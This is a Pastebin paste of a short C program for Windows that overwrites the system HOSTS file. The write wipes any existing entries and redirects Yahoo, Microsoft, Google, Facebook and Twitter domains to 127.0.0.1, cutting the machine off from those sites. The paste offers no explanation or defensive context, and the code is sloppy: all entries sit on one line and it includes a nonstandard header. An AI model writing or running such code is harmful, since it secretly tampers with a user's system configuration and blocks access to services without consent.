Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- Modifying Host File
- */
- #include<windows.h>
- #include<functions.h>
- #include<fstream>
- void hst(void);
- void hst(void)
- {
- char hst[MAX_PATH];
- DWORD byte;
- HANDLE hFile;
- BOOL bSuccess;
- GetSystemDirectory(hst, sizeof(hst));
- strcat(hst, "\\Drivers\\ETC\\HOSTS");
- const char* buffer = "127.0.0.1 yahoo.com 127.0.0.1 www.yahoo.com 127.0.0.1 microsoft.com 127.0.0.1 www.microsoft.com 127.0.0.1 www.google.com 127.0.0.1 google.com 127.0.0.1 facebook.com 127.0.0.1 www.facebook.com 127.0.0.1 www.twitter.com";
- hFile = CreateFile(hst, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
- bSuccess = WriteFile ( hFile, buffer, strlen(buffer), &byte, NULL);
- CloseHandle(hFile);
- }
- void runn()
- {
- hst();
- }
- int main()
- {
- runn();
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement